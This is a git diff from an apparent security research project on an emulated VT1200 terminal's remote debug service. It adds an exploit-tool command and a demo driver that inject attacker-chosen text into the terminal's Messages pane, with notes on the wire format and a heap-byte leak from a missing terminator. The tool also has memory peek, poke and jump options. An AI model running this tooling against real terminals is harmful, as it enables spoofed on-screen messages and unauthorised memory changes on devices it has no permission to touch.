diff --git a/dwt/evidence/visual/msg_after_crop.png b/dwt/evidence/visual/msg_after_crop.png new file mode 100644 index 0000000..3b08d35 Binary files /dev/null and b/dwt/evidence/visual/msg_after_crop.png differ diff --git a/dwt/evidence/visual/msg_after_frame00944.png b/dwt/evidence/visual/msg_after_frame00944.png new file mode 100644 index 0000000..97b2aa2 Binary files /dev/null and b/dwt/evidence/visual/msg_after_frame00944.png differ diff --git a/dwt/evidence/visual/msg_before_crop.png b/dwt/evidence/visual/msg_before_crop.png new file mode 100644 index 0000000..fe8cc16 Binary files /dev/null and b/dwt/evidence/visual/msg_before_crop.png differ diff --git a/dwt/evidence/visual/msg_before_frame00824.png b/dwt/evidence/visual/msg_before_frame00824.png new file mode 100644 index 0000000..7d68ace Binary files /dev/null and b/dwt/evidence/visual/msg_before_frame00824.png differ diff --git a/dwt/evidence/visual/msg_client.log b/dwt/evidence/visual/msg_client.log new file mode 100644 index 0000000..9377b26 --- /dev/null +++ b/dwt/evidence/visual/msg_client.log @@ -0,0 +1,14 @@ +[+] challenge fa 9c 30 b0 00 00 2f e1 02 64 a8 c0 fa 94 30 b1 +[+] reply 82 b7 8f ab e1 35 b5 55 b3 73 7d 30 92 96 86 c6 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +[.] snapshot trigger msg2_before x1 every 0 +[>] opcode 8 body 00 00 00 00 00 00 00 15 41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00 +[.] snapshot trigger msg2_send1 x4 every 2 +[.] message 1 level=0 b'ATTACKER MESSAGE ONE': Done +[>] opcode 8 body 00 00 00 00 00 00 00 10 52 44 45 42 55 47 20 54 45 58 54 20 54 57 4f 00 +[.] snapshot trigger msg2_send2 x4 every 2 +[.] message 2 level=0 b'RDEBUG TEXT TWO': Done +[>] opcode 8 body 00 00 00 03 00 00 00 15 4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00 +[.] snapshot trigger msg2_send3 x4 every 2 +[.] message 3 level=3 b'LEVEL THREE TERTIARY': Done +[.] snapshot trigger msg2_persist x4 every 30 diff --git a/dwt/evidence/visual/msg_levels_crop.png b/dwt/evidence/visual/msg_levels_crop.png new file mode 100644 index 0000000..51f2597 Binary files /dev/null and b/dwt/evidence/visual/msg_levels_crop.png differ diff --git a/dwt/evidence/visual/msg_levels_frame15265.png b/dwt/evidence/visual/msg_levels_frame15265.png new file mode 100644 index 0000000..11483ff Binary files /dev/null and b/dwt/evidence/visual/msg_levels_frame15265.png differ diff --git a/dwt/evidence/visual/msg_persist_crop.png b/dwt/evidence/visual/msg_persist_crop.png new file mode 100644 index 0000000..6415c93 Binary files /dev/null and b/dwt/evidence/visual/msg_persist_crop.png differ diff --git a/dwt/evidence/visual/msg_persist_frame01938.png b/dwt/evidence/visual/msg_persist_frame01938.png new file mode 100644 index 0000000..97b2aa2 Binary files /dev/null and b/dwt/evidence/visual/msg_persist_frame01938.png differ diff --git a/dwt/evidence/visual/msg_scroll_crop.png b/dwt/evidence/visual/msg_scroll_crop.png new file mode 100644 index 0000000..037faf3 Binary files /dev/null and b/dwt/evidence/visual/msg_scroll_crop.png differ diff --git a/dwt/evidence/visual/msg_scroll_frame07979.png b/dwt/evidence/visual/msg_scroll_frame07979.png new file mode 100644 index 0000000..79d3101 Binary files /dev/null and b/dwt/evidence/visual/msg_scroll_frame07979.png differ diff --git a/dwt/exploit.py b/dwt/exploit.py index e499ee2..4afa3f6 100644 --- a/dwt/exploit.py +++ b/dwt/exploit.py @@ -31,6 +31,9 @@ Examples: --poke-file 0x01800000 --file harness/hello-world/payload.bin \ --jump 0x01800000 --jump-wait 2 + # opcode 8 -- put attacker-chosen text on the terminal's screen + dwt/exploit.py --host 192.168.99.2 --message "hello from rdebug" + # build the frames without opening a socket dwt/exploit.py --opcode 7 --dry-run """ @@ -261,6 +264,30 @@ class RDebug: print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr) self.expect_done(payload if flag == 0 else None) + def display_message(self, level: int, text: bytes | str, + terminate: bool = True) -> bytes: + """Opcode 8: ask the firmware to display *text* (len 1..1024). + + Body layout: ``u32 be level, u32 be len, len raw bytes``. The handler + allocates len+2 and copies len bytes, but it does **not** write a + terminator (measured: a message sent without one is followed on screen + by stale heap bytes). So ``terminate`` (the default) appends one NUL, + and the NUL counts toward ``len``. Returns the reply payload (normally + ``b"Done\\n\\x00"``); raises ProtocolError on an error reply. + """ + if isinstance(text, str): + text = text.encode("latin-1") + if terminate and not text.endswith(b"\x00"): + text += b"\x00" + if not 1 <= len(text) <= MAX_XFER: + raise ValueError(f"message length must be 1..{MAX_XFER} bytes") + flag, payload = self.command(8, be32(level) + be32(len(text)) + text) + if flag != 0: + raise ProtocolError(f"display_message: expected Done flag 0, " + f"got {flag:#x}: {payload!r}") + self.expect_done(payload) + return payload + def jump(self, bit_addr: int, args: list[int], wait: bool = True, wait_timeout: float | None = None) -> tuple[int, bytes] | None: body = be32(bit_addr) + be32(len(args)) @@ -302,6 +329,11 @@ def build_frames(args) -> list[bytes]: frames = [] if args.opcode is not None: frames.append(be32(args.opcode)) + if args.message is not None: + text = args.message.encode("latin-1") + if not text.endswith(b"\x00"): + text += b"\x00" # the handler does not add a terminator + frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text) if args.peek is not None: frames.append(be32(2) + be32(args.peek) + be32(args.len)) if args.poke is not None: @@ -344,8 +376,13 @@ def main(argv: list[str]) -> int: g.add_argument("--poke-file", type=parse_int, help="poke a whole file: bit address") g.add_argument("--jump", type=parse_int, help="jump: call bit address") + g.add_argument("--message", metavar="TEXT", + help="opcode 8: display attacker-chosen text on the " + "terminal screen") ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)") + ap.add_argument("--message-level", type=parse_int, default=0, + help="opcode 8 first word (default 0; try 0..3)") ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF") ap.add_argument("--file", help="poke-file payload path") ap.add_argument("--arg", type=parse_int, action="append", default=[], @@ -410,6 +447,9 @@ def main(argv: list[str]) -> int: off += len(chunk) print(f"poke-file {args.file}: {len(data)} bytes at " f"{args.poke_file:#010x}: ok") + if args.message is not None: + rd.display_message(args.message_level, args.message) + print(f"message level={args.message_level} {args.message!r}: ok") if args.jump is not None: result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0, wait_timeout=args.jump_wait or None) diff --git a/dwt/notes/CROSS.md b/dwt/notes/CROSS.md index 65ea844..27f7109 100644 --- a/dwt/notes/CROSS.md +++ b/dwt/notes/CROSS.md @@ -310,3 +310,36 @@ Details, addresses, frames and limits: `dwt/notes/VISUAL_INJECTION.md`, `dwt/evidence/visual/`. ROM md5 unchanged; no driver edits; only `VT1200_SKIP_LEVEL1=1` (documented divergence) and a private nvram. +## 2026-10-18 11:01 EEST — opcode 8 writes the TM Messages box (no payload) + +Facts, all measured over rdebug on the live OS (`VT1200_SKIP_LEVEL1=1`); details +and frames in `dwt/notes/DISPLAY_MESSAGE.md`. + +* **Opcode 8 is `rdebug_display_message` and it lands in the Terminal Manager + Messages box**, not a popup. Body: `u32be 8 | u32be level | u32be len | len + bytes`; reply `Done\n`. `len` is 1..1024. +* **The handler does not NUL-terminate.** It `malloc(len+2)` and copies `len` + bytes; a message sent without a NUL is followed by stale heap bytes on screen + (`…LEVEL ZEROUUUUUU@`). Send `text + NUL` and count the NUL in `len`; max clean + text is 1023 bytes. +* **Level is a class filter, not a destination.** The append routine is + `0x07E6126A` (bit `0x3F309350`), the same one `accept_debug_conn` calls. + Per-class enable bits at bit `0xAECE2/3/4` (byte `0xAECE0` = `0x05` on this + boot): level 0 enabled, level 1/2 disabled, level 3 unchecked. Observed: + levels 0 and 3 render; 1 and 2 are silently dropped. +* The pane is a **5-line viewport** (`count-5` at `3F30A940`/`3F30AA40`); older + lines scroll out (eight sent → 04..08 visible). Lines persist across + repaints (frames 944 and 1938 byte-identical). Not modal; opcode 7 still + answers after the messages. +* No `dwt/visual/msg.asm` was built: the firmware already provides the + primitive. Same connection can poke/jump a payload, then opcode 8. +* `dwt/exploit.py` gained only additive `RDebug.display_message()` / + `--message` / `--message-level`; `dwt/visual/msg_demo.py` and + `dwt/visual/msg_snap.lua` are new host tooling. +* Harness note: MAME's taptun name is fixed (`tap-mess--0`), so a second + MAME needs its own net namespace; this run used one (`vtmsg`) while another + MAME held the default tap. + + +--- + diff --git a/dwt/notes/DISPLAY_MESSAGE.md b/dwt/notes/DISPLAY_MESSAGE.md new file mode 100644 index 0000000..6dfe221 --- /dev/null +++ b/dwt/notes/DISPLAY_MESSAGE.md @@ -0,0 +1,160 @@ +# Attacker-chosen text in the Terminal Manager Messages box (rdebug opcode 8) + +Status: **DONE — opcode 8 (`rdebug_display_message`) puts attacker-chosen text +in the Terminal Manager's Messages box.** No payload, no code injection and no +debugger breakpoint are involved. The visible result is the same pane the OS +uses for `System defaults loaded.`, `TCP/IP is now up.` and +`Debug connection from IP host …`. + +ROM untouched (`md5 b46a3e442ccb86134d2356bd70d22fd2`). No driver edits. +`VT1200_SKIP_LEVEL1=1` (documented divergence), private `-nvram_directory` and +BOOTP/TFTP as in the other OS-path runs. + +## 1. The wire request + +``` +request = u32be 8 | u32be level | u32be len | len raw bytes +``` + +`len` counts the raw bytes that follow and must be 1..1024. **The NUL +terminator is the sender's job.** The handler `malloc(len + 2)` and copies +`len` bytes, but it never writes a terminator. A message sent without one is +followed on screen by stale heap bytes (first experiment: the 29-byte +`RDEBUG MSG ONE - LEVEL ZERO` rendered as `RDEBUG MSG ONE - LEVEL ZEROUUUUUU@`). +Sending `text + NUL` with `len = len(text)+1` renders cleanly. So the largest +clean text is 1023 bytes, not 1024. + +Exact requests used (dry run, `dwt/exploit.py --dry-run`): + +``` +# level 0, "ATTACKER MESSAGE ONE" + NUL (len 0x15) +00 00 00 08 00 00 00 00 00 00 00 15 +41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00 + +# level 3, "LEVEL THREE TERTIARY" + NUL (len 0x15) +00 00 00 08 00 00 00 03 00 00 00 15 +4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00 +``` + +The reply is the usual `"Done\n"` frame. `dwt/exploit.py` now has +`RDebug.display_message(level, text, terminate=True)` and a `--message TEXT` +option; `terminate=True` appends the NUL (and therefore counts it in `len`). + +## 2. What `level` does + +`level` is a syslog-style message class, not an offset or a length. The append +routine is `0x07E6126A` (bit `0x3F309350`) — the same routine `accept_debug_conn` +calls for `Debug connection from IP host %s`. On entry it checks per-class +enable bits in RAM: + +| level | check (bit address) | on this boot | visible in Messages | +|---|---|---|---| +| 0 | `@0xAECE2` (byte `0xAECE0` bit 2) | **1** | **yes** | +| 1 | `@0xAECE3` (bit 3) | 0 | no | +| 2 | `@0xAECE4` (bit 4) | 0 | no | +| 3 | no check — always accepted | — | **yes** | + +Measured byte at `0xAECE0` on the live OS (`opcode 2` peek): **`05`** = +bit 2 set, bits 3 and 4 clear. That matches the observed result exactly: +levels 0 and 3 render; 1 and 2 are silently dropped. Levels 0 and 3 write to +the same Messages list — the level chooses *whether* the line is admitted, not +*where* it goes. + +Disassembly of the filter: `3F3093B0` (bit `0xAECE2` / `jreq` exit when the +class is 0), `3F309430` (`0xAECE3`), `3F3094C0` (`0xAECE4`, `subk 2` / +`jreq` exit). Level 3 falls through all of them. + +## 3. Where it appears, and what the pane does + +* **The Terminal Manager Messages box**, below the `Messages` heading and above + the Ethernet/IP/LAT block. Nothing else on the screen changes: no dialog, no + popup, no status line. +* It is **not modal**. The TM keeps running, the rdebug session stays usable + (`opcode 7` answers after the messages) and the message is just another line + in the list. +* The pane is a **5-line viewport**. The append routine computes the top line + as `count - 5` (`3F30A940` / `3F30AA40`), which is why sending eight + `SCROLL LINE 01…08` messages leaves `SCROLL LINE 04…08` visible. Older lines + go out of view (the OS's own `System defaults loaded.` / `Using local fonts.` + scroll off the same way); the scrollbar is present. A hard cap on retained + lines was not established; the only verified per-message bound is the + 1024-byte `len` check. +* **Persistence:** after the three demo messages the frame at 944 and the frame + at 1938 (≈1000 frames later) are byte-identical + (`4bf8e2299d4ee704848a0b107bf2a31d`). The line persists and survives the OS's + repaints. +* **Repaint timing (honest caveat):** in the controlled run the text appeared in + the next snapshots (5–14 frames after the send). In one earlier run the very + first message was buffered but not drawn for more than 130 frames, until the + next message/connection caused a pane redraw. So the list update itself is + immediate; when it becomes visible depends on the TM redrawing the pane. + +## 4. Why no payload is needed + +The firmware already ships the primitive. There is no reason to call the +append routine from a `jump` payload: `dwt/visual/msg.asm` was **not** built, +because opcode 8 reaches the same routine with an attacker-controlled string and +returns `Done`. It composes trivially with the visual work — the same rdebug +connection can `poke`/`jump` a payload and then send opcode 8; no hook, no +resident code, no breakpoint. + +## 5. Reproduce + +The host tap `tap-mess--0` is fixed by MAME's taptun provider, so a second +MAME cannot share it. This run used a private network namespace with its own +`tap-mess-1000-0`, bridge and veth to the host, while another MAME held the +default tap. Nothing about the result depends on that choice; on a free tap the +ordinary harness command works. + +```sh +# terminal (private NVRAM; 192.168.100.2 comes from harness/serve.py --bootp) +VT1200_SKIP_LEVEL1=1 \ + /home/arti/code/k-space/mame0289/vt1200 vt1200 -rompath harness/mame/roms \ + -sound none -skip_gameinfo -networkprovider taptun -video none -nothrottle \ + -cfg_directory -nvram_directory \ + -debug -debugger none -autoboot_script dwt/visual/msg_snap.lua \ + -autoboot_delay 0 + +# host: one connection, challenge answered by dwt/challenge.respond +python3 dwt/visual/msg_demo.py --host 192.168.100.2 --wait 40 \ + --message '0:ATTACKER MESSAGE ONE' \ + --message '0:RDEBUG TEXT TWO' \ + --message '3:LEVEL THREE TERTIARY' +``` + +`msg_snap.lua` is read-only with respect to the emulated machine: it reads the +frame counter and takes `screen:snapshot()` PNGs when the host writes a trigger +file (`" "`). No breakpoints, no firmware writes. + +## 6. Evidence + +| file | what it shows | +|---|---| +| `dwt/evidence/visual/msg_before_frame00824.png` | before: five OS lines, no attacker text | +| `dwt/evidence/visual/msg_after_frame00944.png` | after: `ATTACKER MESSAGE ONE`, `RDEBUG TEXT TWO`, `LEVEL THREE TERTIARY` in the Messages box | +| `dwt/evidence/visual/msg_persist_frame01938.png` | ≈1000 frames later: identical frame (`md5 4bf8e229…`) | +| `dwt/evidence/visual/msg_scroll_frame07979.png` | eight lines sent; viewport shows the last five (`SCROLL LINE 04…08`) | +| `dwt/evidence/visual/msg_levels_frame15265.png` | level 1 and 2 sent just before: invisible; level 3 visible | +| `dwt/evidence/visual/msg_*_crop.png` | the Messages box crops of the above | +| `dwt/evidence/visual/msg_client.log` | challenge, reply and every opcode-8 body on the wire | + +The log was captured as `msg2_client.log`; only the PNG prefix was renamed +(`msg2_*` → `msg_*`) when the duplicate run-1 frames were dropped. + +Also `dwt/visual/msg_demo.py` (new host driver) and `dwt/visual/msg_snap.lua` +(new snapshot trigger). `dwt/exploit.py` gained only additive support +(`display_message`, `--message`, `--message-level`); existing behaviour is +unchanged. + +## 7. Caveats + +* The challenge (`dwt_prf`) still has to be answered; `msg_demo.py` uses + `dwt/challenge.respond`, the established offline answer. This note is about + what the service does once a session is open, not about bypassing the + challenge. +* Level 1/2 are filtered on this boot because their enable bits are clear. + Writing `0xAECE0` to set bits 3/4 would presumably enable them, but that is a + runtime config change and was not needed; 0 and 3 are both usable. +* The 5-line viewport is measured and matches the `count-5` code. Scrollback + beyond the viewport and any ring cap were not exercised (no pointer-input run + for the scrollbar). diff --git a/dwt/visual/msg_demo.py b/dwt/visual/msg_demo.py new file mode 100644 index 0000000..12951e5 --- /dev/null +++ b/dwt/visual/msg_demo.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""Send opcode-8 messages over rdebug and take frame snapshots around them. + +This is the host driver for the Messages-box experiments in +``dwt/notes/DISPLAY_MESSAGE.md``. It imports ``dwt/exploit.py`` (which owns +the protocol) and patches the challenge answer with ``dwt/challenge.respond`` +exactly like ``dwt/visual/inject.py`` and ``dwt/solve.py`` -- no debugger, no +breakpoints, no RAM patch. + + python3 dwt/visual/msg_demo.py --wait 30 \ + --message '0:ATTACKER MESSAGE ONE' \ + --message '0:RDEBUG TEXT TWO' \ + --message '3:LEVEL THREE TERTIARY' \ + --before-prefix msg_before --persist-frames 1200 \ + --persist-prefix msg_persist + +The trigger file is consumed by ``dwt/visual/msg_snap.lua``: +``" "`` snapshots ``count`` frames, ``stride`` apart. +""" +from __future__ import annotations + +import argparse +import os +import sys +import time + +HERE = os.path.dirname(os.path.abspath(__file__)) +DWT = os.path.dirname(HERE) +sys.path.insert(0, DWT) + +import challenge # noqa: E402 +import exploit # noqa: E402 + +_orig_answer = exploit.RDebug.answer_challenge + + +def _answer(self, challenge_bytes: bytes) -> None: + self.challenge_raw = challenge.respond(challenge_bytes) + print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True) + print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True) + return _orig_answer(self, challenge_bytes) + + +exploit.RDebug.answer_challenge = _answer + + +def trigger(path: str, prefix: str, count: int, stride: int) -> None: + with open(path, "w") as fh: + fh.write(f"{prefix} {count} {stride}") + print(f"[.] snapshot trigger {prefix} x{count} every {stride}", flush=True) + + +def parse_message(spec: str) -> tuple[int, bytes]: + level_text, sep, text = spec.partition(":") + if not sep: + raise argparse.ArgumentTypeError("message must be LEVEL:TEXT") + return int(level_text, 0), text.encode("latin-1") + + +def main(argv: list[str]) -> int: + ap = argparse.ArgumentParser( + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--host", default="192.168.100.2") + ap.add_argument("--port", type=int, default=771) + ap.add_argument("--timeout", type=float, default=8.0) + ap.add_argument("--wait", type=float, default=0.0, + help="seconds to keep retrying connect (0 = one attempt)") + ap.add_argument("--trigger", default=None, + help="msg_snap.lua trigger file") + ap.add_argument("--message", type=parse_message, action="append", + default=[], metavar="LEVEL:TEXT", + help="send one opcode-8 message (repeatable); a NUL byte " + "is appended because the handler does not terminate") + ap.add_argument("--before-prefix", default=None) + ap.add_argument("--after-prefix", default="msg_send") + ap.add_argument("--after-frames", type=int, default=4) + ap.add_argument("--after-stride", type=int, default=2) + ap.add_argument("--persist-frames", type=int, default=0, + help="wait this many emulated frames after the last send") + ap.add_argument("--persist-prefix", default="msg_persist") + ap.add_argument("--keepalive", action="store_true", + help="send opcode 7 after the messages (proves the " + "session/process still answers)") + a = ap.parse_args(argv[1:]) + + deadline = time.monotonic() + a.wait + rd = exploit.RDebug(a.host, a.port, a.timeout, False) + while True: + try: + rd.connect() + break + except OSError as exc: + if time.monotonic() >= deadline: + print(f"error: no TCP at {a.host}:{a.port}: {exc}", + file=sys.stderr) + return 2 + time.sleep(1.0) + + try: + flag, payload = rd.liveness(7) + print(f"opcode 7 -> flag={flag:#04x} payload={payload.hex(' ')} " + f"({payload!r})", flush=True) + if a.before_prefix and a.trigger: + trigger(a.trigger, a.before_prefix, 1, 0) + time.sleep(0.5) # let the frame hook consume it before the send + for i, (level, text) in enumerate(a.message, 1): + # The handler allocates len+2 but never writes the terminator, so + # the sender must include the NUL; otherwise stale heap bytes are + # printed after the text. + wire = text + b"\x00" + body = exploit.be32(level) + exploit.be32(len(wire)) + wire + print(f"[>] opcode 8 body {body.hex(' ')}", flush=True) + if a.trigger: + trigger(a.trigger, f"{a.after_prefix}{i}", + a.after_frames, a.after_stride) + rd.display_message(level, wire) + print(f"[.] message {i} level={level} {text!r}: Done", flush=True) + if a.keepalive: + flag, payload = rd.liveness(7) + print(f"post-message opcode 7 -> flag={flag:#04x} " + f"payload={payload.hex(' ')} ({payload!r})", flush=True) + if a.persist_frames and a.trigger: + # ~60 fps emulated; the clock file is not used here, so this is + # wall time at whatever speed MAME runs. The caller picks a value + # that covers the intended span. + time.sleep(a.persist_frames / 300.0) + trigger(a.trigger, a.persist_prefix, 4, 30) + time.sleep(0.5) + return 0 + except (OSError, exploit.ProtocolError, ValueError) as exc: + print(f"error: {exc}", file=sys.stderr) + return 2 + finally: + rd.close() + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv)) diff --git a/dwt/visual/msg_snap.lua b/dwt/visual/msg_snap.lua new file mode 100644 index 0000000..8aa0d6b --- /dev/null +++ b/dwt/visual/msg_snap.lua @@ -0,0 +1,56 @@ +-- msg_snap.lua -- read-only frame side channel + on-demand screen snapshots. +-- +-- No breakpoints and no firmware memory writes: this only reads the frame +-- counter and takes MAME screenshots when the host creates the trigger file. +-- +-- MSG_TRIGGER= file the host writes; content: " " +-- MSG_DIR= where PNGs go +-- +-- The host writes " 1 0" for one immediate frame, or e.g. +-- " 8 5" for eight snapshots five frames apart. The file is removed +-- when consumed. Snapshots render through the emulated palette. +local machine = manager.machine +local dir = os.getenv("MSG_DIR") or "." +local trigger = os.getenv("MSG_TRIGGER") or (dir .. "/trigger") +local screen = nil +for _, s in pairs(machine.screens) do screen = s; break end + +local frame = 0 +local job = nil + +local function consume_trigger() + local fh = io.open(trigger, "r") + if not fh then return end + local text = fh:read("*a") or "" + fh:close() + os.remove(trigger) + local prefix, count, stride = text:match("(%S+)%s+(%d+)%s+(%d+)") + if not prefix then + print("msg_snap: bad trigger " .. text) + return + end + job = { prefix = prefix, left = tonumber(count), stride = tonumber(stride), next = frame } + print(string.format("msg_snap: frame %d job %s x%d every %d", frame, + prefix, job.left, job.stride)) +end + +emu.register_frame_done(function() + frame = frame + 1 + consume_trigger() + if job and frame >= job.next and screen then + local out = string.format("%s/%s_frame%05d.png", dir, job.prefix, frame) + local ok, err = pcall(function() return screen:snapshot(out) end) + print(string.format("msg_snap: frame %d %s ok=%s err=%s", frame, + out, tostring(ok), tostring(err))) + job.left = job.left - 1 + job.next = frame + job.stride + if job.left <= 0 then job = nil end + end + if frame % 500 == 0 then + local cpu = machine.devices[':maincpu'] + print(string.format("msg_snap: frame %d PC=%08X", frame, + cpu.state['PC'].value)) + end +end, "vt1200-msg-snap") + +if machine.debugger then machine.debugger.execution_state = 'run' end